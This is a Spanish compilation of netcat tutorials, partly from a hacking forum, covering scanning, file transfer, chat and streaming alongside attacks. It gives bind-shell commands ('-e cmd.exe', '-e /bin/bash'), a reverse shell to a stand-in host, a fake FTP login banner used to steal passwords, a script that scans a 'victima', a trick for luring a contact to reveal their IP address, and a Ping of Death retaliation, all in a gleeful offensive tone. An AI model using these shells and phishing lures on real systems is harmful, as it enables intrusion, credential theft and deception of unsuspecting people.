   Cabe destacar que distribuciones como RedHat Linux trae junto consus paquetes de instalación una versión limitada de netcat; lo mas recomendablees bajar de la red la versión full de netcat para Linux (Importante: La versión de netcat para linux viene a prueba de lamers, por lo cual debemos compilar a netcat con unos flags especiales para poder obtener las opciones-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lodesempaquetas en el directorio de tu preferencia, te ubicas dentro del directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"

 Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar netcat directamente llamandolo de cualquier parte del Shell, ademas de quepodrás usar los scripts que hagas (o consigas en la red) sin problemas; netcattrae unos scripts muy interesantes y bien comentados para que los estudies y comprendas mejor su implementación en scripts, los scripts están en el directorio donde desempaquetastes netcat en /scripts , los corres como siempre: ./probe  (o el script que quieras).

   Utilizando Netcat.

Page 27: Net Cat

   ==================

   Para ilustrar mejor como trabajamos con este programa, lo mejor es observar ejemplos prácticos y analizar su estructura para poder comprendermejor como funciona y así poder crear nuestras propias aplicaciones.

 Algunas de las cosas que podemos hacer con NetCat son:

         Obtener un Shell rapidamente en una máquina remota usando laopción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando elproggie corre con estas variables y la conexión es realizada, NetCatejecuta el programa elegido y se conecta a stdin y stdout del programaen la conexión a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

         Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)la opción -t le dice a NetCat que maneje cualquier negociación que elcliente pueda esperar....

         Si esta conexión es realizada desde una máquina NT, el shellcorrerá los permisos del proceso que han generado a NetCat (Hmmm...) asíque hay que ser muy cuidadosos :)

         La belleza de NetCat es que puede hacer lo mismo en CUALQUIERpuerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, queestán probablemente corriendo en la mayoría de las máquinas NT, de estamanera puedes lograr una conexión a una máquina que esté utilizando"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,NT no parece tener ninguna seguridad alrededor de cuales puertos  losprogramas de usuarios son permitidos amarrar, esto quiere decir en pocaspalabras, ejecutar comandos y programas que puedan unirse a los PuertosNETBIOS.

         Como anteriormente se mencionó, puedes utilizar a Netcat paraestudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v <IP> <puerto> (puedes añadir otra -v)

         Uno de los puertos mas interesantes a la Hora de Analizar unHost, es el puerto 79 (Finger) , puedes obtener nombres de usuarios einformación muy util a la hora de planear un "Brute-Force Attack", estecomandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,dandote una idea de sus posibilidades:

Page 28: Net Cat

c:\>nc -v <host> 79 < user.txt > log.txt

         El comando anterior le dice a netcat que se conecte en modoverbose al Host predeterminado en el puerto 79 (Finger) y envie elcontenido del archivo user.txt (OJO: no he probado esto con una posiblelista de nombre de usuarios al azahar), la respuesta del servicio seráguardada en el archivo log.txt

   Scanner:   ========

         Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran número de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc.

 C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstarlocalhost [127.0.0.1] 53 (domain): connection refusedlocalhost [127.0.0.1] 25 (smtp): connection refusedlocalhost [127.0.0.1] 21 (ftp): connection refusedsent 0, rcvd 0: NOTSOCK

         Pues si; aqui tienen un pequeño y primitivo scanner, se lepueden añadir puertos escogidos como en el ejemplo anterior o asignarleun rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstarlocalhost [127.0.0.1] 53 (domain): connection refusedlocalhost [127.0.0.1] 52 (?): connection refusedlocalhost [127.0.0.1] 51 (?): connection refusedlocalhost [127.0.0.1] 50 (?): connection refusedlocalhost [127.0.0.1] 49 (?): connection refusedlocalhost [127.0.0.1] 48 (?): connection refused  etc...

         Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)que es usada para scanning, los puertos se lo especificamos al final delIP del host, bien sea individuales separados por un espacio; o por unrango de puertos.      

Page 29: Net Cat

   Sniffer:   ========

   Otra de las interesante posibilidades de netcat es su capacidad para escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstarlistening on [any] 23 ...DNS fwd/rev mismatch: localhost != darkstarconnect to [127.0.0.1] from localhost [127.0.0.1] 1131login: sniffadopassword: jeje!!puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]

   Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txtDNS fwd/rev mismatch: localhost != darkstarlistening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstarconnect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt] sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conexión,"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstarlistening on [127.0.0.1] 23 ...

         El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23    ---------------------

         Ejecutamos a Netcat con la opción o variable -v (verbose)

Page 30: Net Cat

(doblemente "verbose" por si acaso) ;) esto hará que el resultado denetcat, sea mostrado directamente en pantalla (a diferencia del archivousado por Dr._X) , la opción o variable -L (Listen, and listen again)nos permitirá dejar escuchando u "oliendo" en determinado puerto auncuando la conexión sea interrumpida (listen again), con la variable -ple indicamos el puerto...

         Al ejecutar a netcat con esa combinación de variables lasopción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstarlistening on [any] 23 ...

         Realizo desde otra ventana un telnet a localhost (127.0.0.1) enel puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstarconnect to [127.0.0.1] from localhost [127.0.0.1] 1131login: sniffado

         Voilá! un Sniffer en LocalHost!  Jajaja!!!

      

   Detector de Conneciones Sospechosas:   ====================================

   La posibilidad de dejar a netcat escuchando en determinados puertos,nos permite crear una especie de "trampa" para un supuesto agresor que utilizescanners, o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones. Incluso, podemos crear un archivo que haga un Floody redireccionar su salida hacia la estación agresora en caso de una conexiónno autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas más, Muaahahaha!)  :)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemploreal de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p             31337 127      .0.0.1 31337DNS fwd/rev mismatch: localhost != darkstarlistening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net[161.196.246.65] 31338

Page 31: Net Cat

         Back Orifice utiliza el protocolo UDP para realizar sustravesuras, realiza la conexión desde un puerto aleatorio (casi siempreel 1080) aunque en este caso lo hizo desde el 31338 (posiblemente unavariante de BO), por eso se utiliza la opción -u (protocolo udp) ,netcat se queda esperando conexiones UDP en el puerto 31337 (default deBO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando apantalla el IP y el DNS del agresor...

         Luego un pequeño "Ping of Death" (Nuke) para el transgresor yle hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refusednas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refusednas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refusednas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUTnas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!

   Otros usos Miscelaneos:   =======================

    Puedes utilizar algo de ingienería social para capturar algunospasswords con netcat, por ejemplo, si una máquina no tiene abierto elpuerto de FTP o de telnet, creas un archivo de texto que solicite el IDy el Password de la víctima; algo así:

Microsoft Internet FTP Server V.5.9 [Beta]04/16/99 myhost.comPlease introduce Username, password and press "Enter"LogOn:

Luego redireccionas el archivo hacia la victima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

         Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco deimaginación y maña te permitirán encontrar muchas utilidades paranetcat.

   Netcat en Vez de Telnet.   =======================

Page 32: Net Cat

   Yo personalmente prefiero usar netcat para realizar conneccionesremotas como alternativa al Telnet. la ventaja de realizar conexiones telnet desde netcat es que este esconde "algo" sobre tu conexión, lo que lo hace mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando una conexión "Limpia" en determinado puerto, obviando las negociaciones comunes de Telnet que pueden confundir al cliente en determinados casos, como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.

    OJO: algunas máquinas interpretan al cliente de telnet y asumen el nombre del usuario que lo utiliza, de allí el porqué algunosservidores solo preguntan por password ; teoricamente netcat no enviaesta información. Por eso, es recomendable acostumbrarse a utilizar netcatpara hacer conexiones remotas:

    c:> nc -v nombre del host 23(o el puerto de tu preferencia)

   Netcat y Programación:   ======================

   Esta combinación desencadena todo el Poder de Netcat en su máximaexpresión; Tratandose de una herramienta que funciona con lineas de comandos,su integración con un lenguaje de programación le permite realizar gran cantidad de tareas, y posibilidades se van descubriendo dia a dia con su inclusión en nuevos Scripts y Exploits.

   Muchos ScriptKiddies que no tienen idea de lo que hacen, se sientenfrustrados porque muchos de los Scripts y Exploits que bajan de la Red simplemente no les funciona, porque no saben interpretar el Código y porlo tanto son incapaces de efectuar las modificaciones necesarias para incluirlibrerias, paths o utilidades necesarias para su funcionamiento. (Jódanse ScriptKiddies!!! Jajaja!!)

   Netcat es exelente para implementar exploits remotos, permitiendo enviar el código a cualquier puerto vulnerable con una simple orden, lograndoejecutar todos los comandos necesarios para explotar determinados servicios.

   Varios exploits que circulan actualmente en la Red, usan a netcat como "motor" para manejar las conexiones, si analizamos el código de estosprogramas podemos observar un nc por ahí, esto significa que el Proggie encuestión necesita una versión correctamente compilada de netcat en el directorio  /usr/bin . A continuación un pequeño programa realizado porel Doctor_X de Hven utilizando a netcat:

<---------- Hven Port Scanner!! ------>

Page 33: Net Cat

# !/bin/bash# Scanner de Puertos # By DoctorX 17/04/99  email: [email protected]# Zona de Bacterias  http://bactery.8m.com# Hackers de Venezuela http://www.hackhour.com.br/hven# Este es un shell script hecho por mi para la verificacion de # conexiones a un host utilizando netcat.

# Declaracion de Variables

export NETCAT=" nc -v -v -w 8 -z "export RANGO=$2LOCALHOST=$(uname -n)export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"export MEM1="Scanner de Puertos "export MEM2="by "   export MEM22="para Hackers Venezuela"export MEM3="Victima : " export MEM4="Falta el GateWay para el Source Routing !!!!!!"export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "export MEM6="Local Host : $LOCALHOST " export MEM7="UDP Scan "export MEM8="http://www.hackhour.com.br/hven"export re="[5m"export cl="[0m"export rojo="[31m"export email="email:[email protected]"

# Declaracion de Funciones

# Mensaje cuando no se le dan Parametros

function mem() {local uso="uso  :$0  [opcion]  <host> <gateway>"local DRX="DoctorX"echo $MEM1 echo $MEM2   ${rojo}$DRX${cl}  $MEM22echo $MEM8echo ${rojo}$uso${cl} echo "<host>             :IP/HOSTNAME de La Victima jejejeje "echo "<gateway>          :source-routing , es opcional " echo "opciones : "echo "u                  :esta opcion de utiliza para hacer scan udp"echo "so                 :Determinacion de SO de servidores Web" echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" &&exit ; }

Page 34: Net Cat

# Mensaje Inicial

function mem2() {VICTIMA=$1echo $MEM1echo $MEM2 ${rojo}DoctorX${cl} $MEM22echo $MEM3  $VICTIMAecho $MEM6 ; }

# Mensaje 2

function mem_web() {mem_web1="Hackers Venezuela"mem_web2="By"mem_web3="Victima : "VICTIMA=$1mem_web4="Determinacion de SO en Web Servers"echo $mem_web1echo $mem_web4echo $mem_web2 ${rojo}DoctorX${cl} $email echo $mem_web3 $VICTIMA ;}

# Scan Tcp

function tcp() { HOST=$1 $NETCAT  $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() { HOST=$2 RANGO=$1 $NETCAT  $HOST $RANGO ; }

# Scan UDP

function udp() {  VICTIMA=$1echo $MEM7 $NETCAT  -u $VICTIMA $PUERTOS ; }

# Scan UDP con gateway

function udp_gateway() {echo $MEM7

Page 35: Net Cat

VICTIMA=$2GATE=$1NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE " $NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing function tcp_gateway() {GATE=$1HOST=$2RANGO=$PUERTOSecho "Gate : $GATE "  $NETCAT -g $GATE  $HOST $RANGO ; }

# Advertencia

function  adv() {local MEM4="Falta el GateWay para el Source Routing !!!!!!"local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "echo ${rojo}$MEM4${cl} echo ${re}${rojo}$MEM5${cl}  ; }

# Determinacion de SO

function web_so() {NC="nc -w "HTTPPORT="80"GET="GET /"ECHO="/bin/echo"HEAD="HEAD / HTPP/1.0"HTTPVARIABLE="Server:"WEB_SERVER="$1"LOG="salida.txt"#CHECKHTTP=( echo $GET  ; sleep 5)| $NETCAT $VICTIMA  80 ( echo $HEAD  ; echo ; echo ) | $NC  8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE  | cut -d: -f2  1> $LOG  cat  $LOGrm -f $LOG  ;}

# Seleccion de Opcion

case $# in 0 ) mem ;;            1 ) mem2 $1 ;               adv  ;               tcp $1 ;;           3 ) if [ "$1" != "r" ]; then

Page 36: Net Cat

                  mem2 $2                  udp_gateway $3 $2               else {  mem2 $3                     adv                       tcp_rango $2 $3 ;}                fi ;;           2 ) if [ "$1" != "u" ] ; then                       if [ "$1" != "so" ] ; then                             {  mem2 $1                             # adv                               tcp_gateway $2 $1 ;}                        else { mem_web $2                              web_so $2 ;}                        fi                else  { export HOST=$2                       mem2 $HOST                        udp $2                          exit 0 ;}                fi ;           esac

 <------- Fin del Hven-Scanner, cortar aquí --------->

         Conclusión:        ============       Si estudiamos detalladamente las variables, el misterio denetcat desaparece, viene la parte de la imaginación; ¿Que otrasfunciones le podemos asignar? ¿Que mas podría hacer? ; al revisar elprograma que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemosasi..." ; el hacking no es más que probar nuevas posibilidades, utilizandoel ingenio, los conocimientos acumulados y una dosis bastante fuerte deimaginación podremos lograr loque queramos.  :)

   Si tienes otras ideas, utilidades, programas o forma innovadorapara utilizar netcat, escribenos un mail, estaré encantado de anexarlo en este documento....

http://foro.elhacker.net/tutoriales_documentacion/el_netcat_la_navaja_suiza_de_los_hackers_y_administradores-t15859.0.html#ixzz1MvDyGF4d

Lun, 2005-10-10 14:45 — david.villa

Page 37: Net Cat

Netcat es una de las herramientas más potentes y flexibles que existen en el campo de la programación, depuración, análisis y manipulación de redes y servicios TCP/IP. Es un recurso imprescindible tanto para expertos en seguridad de redes como para hackers. Esta receta incluye varios ejemplos de uso de GNU netcat.

Introducción

Aunque netcat puede hacer muchas cosas, su función principal es muy simple:

1. Crea un socket con el destino indicado si es cliente, o en el puerto indicado, si es servidor

2. Una vez conectado, envía por el socket todo lo que llegue en su entrada estándar y envía a su salida estándar todo lo que llegue por el socket

Algo tan simple resulta ser extraordinariamente potente y flexible como vas a ver e continuación. Por simplicidad se utilizan conexiones locales aunque, por supuesto, se pueden utilizar entre máquinas diferentes.

Ingredientes

netcat bash (o equivalente) utilidades GNU básicas

Sintaxis

nc [-options] hostname port[s] [ports]nc -l -p port [-options] [hostname] [port]

Parámetros básicos

-l: modo ‘listen’, queda a la espera de conexiones entrantes. -p: puerto local -u: modo UDP -e: ejecuta el comando dado después de conectar -c: ejecuta órdenes de shell (hace /bin/sh -c [comando] después de conectar

Un chat para dos

Page 38: Net Cat

Servidor

$ nc -l -p 2000

Cliente

$ nc localhost 2000

Transferencia de ficheros

La instancia de nc que escucha recibe el fichero. El receptor ejecuta:

$ nc -l -p 2000 > fichero.recibido

Y el emisor:

$ nc localhost 2000 < fichero

Servidor de echo

Ponemos un servidor que ejecuta cat de modo que devolverá todo lo quese le envíe

$ nc -l -p 2000 -e /bin/cat

Y en otra consola:

$ nc localhost 2000holahola…

Servidor de daytime

Exactamente lo mismo que el ejemplo anterior pero ejecutando date en lugar de cat.

$ nc -l -p 2000 -e /bin/date

Y en otra consola:

$ nc localhost 2000lun feb 23 21:26:48 CET 2004

shell remota estilo telnet

Page 39: Net Cat

Servidor

$ nc -l -p 2000 -e /bin/bash

Cliente$ nc localhost 2000

Telnet inverso

En esta ocasión es el cliente quien pone el terminal remoto

Servidor

$ nc -l -p 2000

Cliente

$ nc server.example.org 2000 -e /bin/bash

Cliente de IRC

$ nc irc.freenode.net 6666NOTICE AUTH :*** Looking up your hostname…NOTICE AUTH :*** Found your hostname, welcome backNOTICE AUTH :*** Checking identNOTICE AUTH :*** No identd (auth) response

NICK nadieUSER nadie nadie nadie :nadie:kubrick.freenode.net 001 nadie :Welcome to the freenode IRC Network nadie:kubrick.freenode.net 002 nadie :Your host is kubrick.freenode.net[kubrick.freenode.net/6666], running version hyperion-1.0.2b[…]

y a partir de ahí puedes introducir cualquier comando de IRC:

LIST JOIN #canal PART #canal PRIVMSG #canal :mensaje WHO #canal QUIT

Cliente de correo SMTP

Page 40: Net Cat

Podemos usar netcat para enviar correo electrónico por medio de un servidor SMTP, utilizando el protocolo directamente:

~$ nc mail.servidor.com220 mail.servidor.com ESMTP PostfixHELO yo250 mail.servidor.comMAIL FROM:[email protected] OkRCPT TO:[email protected] OkDATA354 End data with <CR><LF>.<CR><LF>Aviso: su licencia ha caducado. Me deben un pastón..250 Ok: queued as D44314A607QUIT221 Bye

HTTP

Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.

Servidor

$ nc -l -p http -c “cat index.html”

Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox.

Cliente

$ echo “GET /” | nc www.google.com 80 > index.html

Streaming de audio

Un sencillo ejemplo para hacer streaming de un fichero .mp3:

Servidor

$ nc -l -p 2000 < fichero.mp3

y para servir todos los .mp3 de un directorio:

$ cat *.mp3 | nc -l -p 2000

Cliente

Page 41: Net Cat

$ nc server.example.org 2000 | madplay –

Streaming de video

Servidor

$ nc -l -p 2000 < pelicula.avi

Cliente

$ nc server.example.org 2000 | mplayer –

Proxy

Sirva para redirigir una conexión a otro puerto u otra máquina:

$ nc -l -p 2000 -c “nc example.org 22”

El tráfico recibido en el puerto 2000 de esta máquina se redirige a la máquina example.org:22. Permite incluso que la conexión entrante sea UDP pero la redirección sea TCP o viceversa!

Clonar un disco a través de la red

Esto se debe usar con muchísima precaución. ¡Si no estás 100% seguro, no lo hagas! No digas que no te avisé.

Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido.

Servidor

$ dd if=/dev/sda1 | nc -l -p 2000

Cliente

$ nc server.example.org 2000 | dd of=pendrive.dump$ mount pendrive.dump -r -t vfat -o loop /mnt/usb

Ratón remoto

Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg.

Servidor

Page 42: Net Cat

# nc -l -p 2000 < /dev/input/mice

Cliente

Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:

Section "InputDevice" Driver "mouse" ... Option "Device" "/tmp/fakemouse" ....EndSection$ mkfifo /tmp/fakemouse$ nc server.example.org 2000 > /tmp/fakemouse# /etc/init.d/gdm restart

Medir el ancho de banda

Servidor

$ nc -l -p 2000 | pv > /dev/null

Cliente

$ nc server.example.org 2000 < /dev/zero

Imprimir un documento en formato PostScript

Funciona en impresoras que soporten el estándar AppSocket/JetDirect, que son la mayoría de las que se conectan por Ethernet.

$ cat fichero.ps | nc -q 1 nombre.o.ip.de.la.impresora 9100

Ver «La Guerra de las Galaxias»

$ nc towel.blinkenlights.nl 23

Sintaxis de comandos de netcat

Page 43: Net Cat

 

nc [-argumentos] [ host] [puerto | rango de puertos]

Argumentos: (Todos son opcionales)

-h = (Help) Ayuda

-n = (Numeric) Solo acepta IP numérico ( si no ponemos esta opción hace resolución DNS)

-v = (Verbose) pone información adicional sobre la conexión Recomendable

usarlo siempre

-v -v = (Very Verbose) información mas detallada todavía No muy necesario,

podría ser útil en diagnostico de sistemas problemáticos

-w <segs> = (Wait) espera cierto tiempo a que se establezca la conexión (EJ: -w 3 espera 3 segundos para realizar la conexión y luego 3 mas por las dudas, antes de darnos un time out)

-p <puerto> = (Port) puerto local a utilizar

-r = (Random) elección de puertos al azar (locales y remotos)

-l = (Listen) escuchar por conexiones del exterior.

-L = (Listen) escuchar por conexiones del exterior. Aun sigue escuchando cuando la conexión establecida se corta

-e <prog> = (Execute) correr un programa al establecerse una conexión.

-t = (Telnet) - Evita negociaciones iniciales con telnet. Útil, pero puede

reducir confiabilidad en la transmisión de datos

-z = (Zero I/O) Rastreo rapido de puertos, evitando salida o entrada de datos.

Page 44: Net Cat

-i <segs> = (Interval) Espera un intervalo de tiempo entre paquetes enviados

-g <gateway> (Gateway) Maquina que retransmitirá nuestros datos a otra maquina o al destino final.

-G <pointer> = (Gateway Pointer) Es lo que indica que gateway esta en uso en determinado momento. En ocasiones es útil mover este indicador nosotros mismos.

Definido en múltiplos de 4.

-o <logfile> = (obtiene un archivo log en Hex de la acción) Genera un Log de

las actividades de netcat en código Hexadecimal.

-u = (UDP) Con esta opción le dices a netcat que trabaje con protocolo UDP en vez de TCP.

-d = (Modo Stealth o encubierto) Esta opción desvincula al Programa de la consola, haciéndolo trabajar en el Back Ground.

< (nombre archivo.extension) = dirige un archivo al exterior

> (nombre archivo.extencion) = redirige lo que entra por un puerto a un archivo

 

 

 

Pero como el movimiento se demuestra andando, pasemos a los ejemplos de uso diario que le encontré a netcat

Netcat practico

(estos ejemplos pueden ser variados dependiendo de los modificadores)

 

Si queremos saber que versión de servidor esta corriendo en un puerto remoto

Page 45: Net Cat

 

Supongamos que queremos saber que versión webserver corre una determinada ip, para ello supongamos que la IP es 1.1.1.1, entonces tipearemos lo siguiente:

C:\nc –v –v 1.1.1.1 80

Donde nc es la invocación al netcat, -v –v nos dará todo la info visible del servidor que esta corriendo, 1.1.1.1 es la ip y 80 el puerto al que nos queremos conectar, bien, no solo que nos dio la versión del servidor si no que ahora estamos conectados al webserver y podemos realizar las operaciones normales que podría hacer el browser(en línea de comandos, por su puesto), pero eso para otro capitulo jejejejejeje.

Si quisiéramos saber la versión de cualquier otro servidor solo habrá que conectarse a el a través de su ip + puerto con la opción very vervose y ya sabremos algo de ese servicio ;)

Un chat p2p (y sin demoras jajajajjjajajajaj)

 

Se necesita que los dos tengan netcat, uno va a actuar de servidor y otro de cliente.

EL SERVER

C:\nc –l –p (numero de puerto)

Donde nc llama al netcat, -l se pone a la escucha o en modo servidor, y –p es el puerto por donde escuchara

EL CLIENTE

C:\nc ip puerto

Donde nc llama al netcat, ip es la ip del server, y puerto el puerto que este abrió

Una vez realizado esto, podrán escribir en la pantalla donde esta corriendo netcat y al dar ENTER el otro vera lo que escribamos, una opción rápida y segura

 

Page 46: Net Cat

Como sacar la ip de cualquier mensajero ( y algunos otros datos jejejjej)

 

Primero usamos la herramienta netcat (o nc) con la siguientes modificadores:

C:\nc -v -v -l -p 80

Donde nc llama al netcat, -v –v lo pone en modo very verbose y eso hace que al conectarse alguien a nuestra ip y puerto le rastrea la ip y los datos del browser y sistema operativo, -l lo pone en modo escucha o servidor , y –p 80 le asigna el puerto 80 a la escucha

Luego le pasamos lo siguiente, http://nuestra ip (usando alguna excusa, si no queremos que nuestro contacto sospeche), automáticamente se abrirá su navegador y se dirigirá a donde esta nuestro netcat a la escucha, entonces veremos en la ventana DOS donde se esta ejecutando el netcat, la ip de nuestro contacto ( con suerte también veremos la versión del navegador que usa y alguna que otra cosita mas)luego que tomamos nota de la ip, hacemos ctrl+C para cerrar netcat, y le aparecerá a nuestro contacto, en el navegador pagina típica de cuando no se encuentra el servidor (esto no pasara hasta que no cerremos el netcat con ctrl+C), buscamos la excusa que mas nos guste para explicar que la page que le pasamos no funciono y listo

 

 

Si queremos hacer una trampa para lammers y capturar su ip

 

Pues esto se basa en que un lamer, para entrar a una maquina, primero escanea puertos y si encuentra alguno vulnerable (como por ejemplo el puerto de un troyano) entra usando la herramienta necesaria.

Bien, esto se trata de hacerle creer al lammeruzo que tenemos esos puertos que abren los servidores de los troyanos abiertos (por lo tanto pensara que estamos infectados y tratara de entrar por ese puerto y allí tendremos el netcat listo para cazar su ip

Para esto abriremos tantos netcat como puertos queramos simular infección (seria bueno que busques una lista de puertos que usan los troyanos y abras los que te parezcan) y lo haremos si con cada puerto

C:\nc -v -v -l -p (numero de puerto de troyano)

Donde nc llama al netcat, -v –v lo pone en modo very verbose y eso hace que al conectarse alguien a nuestra ip y puerto le rastrea la ip y los datos del cliente que uso para conectarse, -

Page 47: Net Cat

l lo pone en modo escucha o servidor, y –p (será el puerto que simulara que allí hay un troyano), listo de esa manera ya tenemos la ip de quien trato de entrar a nuestra maquina a través de un troyano.

Cabe destacar que esto sirve para cualquier servicio como ser web o ftp

 

Mostrar una pagina web con netcat (o como simular un webserver)

 

Todos sabemos que si queremos mostrar una pagina web necesitamos un webserver, bien aquí vamos a improvisar uno (simulado lógicamente).

Para mostrar nuestra page en Internet haremos esto:

1) guardamos el html que queremos mostrar, en la misma carpeta que se encuentra netcat, luego tipemos esto:

C:\nc –l –p 80 < nombre_del_archivo.htm

Donde nc llama al netcat, -l hace que se ponga a la escucha, -p 80 hace que el puerto que escucha sea el el 80(el mismo del http), < nombre de archivo.htm hace que ese archivo este dispuesto en ese puerto, con lo cual si alguien visita nuestra ip con el browser vera nuestra page.

Cabe destacar que cada vez que alguien se desconecta tendremos que volver a realizar la operación para que vuelva a ser visto el html

 

Transferir archivos con netcat

 

Para transferir archivos con netacat primero tendré que destacar que solo hice la prueba con archivos zipeados, pero pueden probar con otros formatos, además, netcat no puede ver el EOF(end of file o final de archivo) así que no terminara la transferencia por si solo, cuando estimen un tiempo prudencial (si lo hacen antes de que termine se corta y se daña el archivo)deben darle ctrl+C para terminar la transferencia y así hacer un EOF. Bien, dicho esto pasemos al trabajo. Necesitaremos uno que haga de Server (el que envía el archivo) y uno que haga de cliente (el que recibe el archivo), para ello tipearemos:

EL SERVER

Page 48: Net Cat

C:\nc –l –p (puerto) < archivo.zip

Donde nc llama al netcat, -l pone le puerto a la escucha, -p (puerto) sera el puerto que pondremos a la escucha, < archivo.zip le da salida al archivo

 

 

EL CLIENTE

C:\nc ip puerto > archivo.zip

Donde nc llama al netcat, ip es la ip a la que queremos conectar, puerto es al puerto remoto que queremos conectar , > archivo,zip, es el redireccionamiento de la entrada a un archivo.

Listo, si tenemos en cuenta todas las recomendaciones, transferiremos sin problemas

 

Conectarse a irc con netcat

 

Bien para esto hay que destacar que es sencillo lograr la conexión pero no hay que olvidar que una vez lograda hay que “hablar idioma servidor” o sea hacer toda la negociación a mano.

Para ello vamos a topear:

C:\nc servidor irc puerto

Donde nc llama al netcat, servidor irc es el servidor al que nos queremos conectar, y puerto el puerto al cual vamos a conectarnos (para graficarlo mejor vamos a poner de ejemplo una conexión al canal yashira que esta en el sevidor irc.cl, el comando seria así nc irc.cl 6667, y listo ya estaríamos conectados), pero en esta parte considero que poner un ejemplo totalmente practico ayudaría bastante, por eso voy a desarrollar un ejemplo de cómo me conecto al canal yashira con netcat

Para hacerlo tipeo el comando que me conecta

Luego tipeo PONG mi ip (esto debo hacerlo rápidamente para que no de time out la conexión).

Inmediatamente tenemos que identificarnos para eso topeamos:

Page 49: Net Cat

USER nombre que elijas (no es tu nick) tu host tu servidor: tu nombre real(esto puedes omitirlo, pero no olvides poner : y luego dejarlo vació), luego de eso tipeas:

NICK tu nick

pero mas grafico lo hago con el ejemplo practico:

USER yo NETGlobalis.irc.cl :

NICK cadorna

aquí ya esta en el irc.cl para entrar al canal tipeas:

join #canal (en mi caso join #yashira)

ya tamos en el canal, ahora si queres hablar tipeas:

PRIVMSG #canal :texto (en mi caso digo hola, PRIVMSG #yashira : hola)

Cabe destacar que si bien es un método complicado y muchas veces las negociaciones dependen del servidor, nos muestra la versatilidad de netcat, y estos no son todos los comandos de irc experimenta comandos que usas en el con netcat, tal vez resulte interesante (les dejo un poco de experimentación para ustedes, si no me van a matar jajajajajajaaj)

 

Hacer un sencillo escanner de puertos con netcat

Esto es muy simple para chequear los puertos abiertos de una maquina debemos topear:

C:\nc –v –v -z ip puerto (cabe destacar que si queremos hacer un scanner de rango de puertos debemos separa ese rango con un “-“ por ejemplo queremos escasear todos los puertos desde el 21 al 139, debemos hacer así: nc –v –v –z ip 21-139, y si lo que queremos es escasear puertos determinados hay que separar los números de puertos con espacio por ejemplo nc –v –v –z ip 21 25 139, de esta manera buscara solo en esos puertos)

Donde nc llama al netcat, -v-v lo pone en modo veri vervose(ideal para sacar datos), z realiza la llamada al puerto pero si llegar a hacer la transacción de conexión, ip es la ip a escannear , y puerto es el puerto a escannear, esto nos devolverá una lectura de open(puerto abierto) o conection refused (puerto cerrado), y hasta a lo mejor recibas que servicio esta corriendo en ese puerto abierto

Generalidades y propuestas

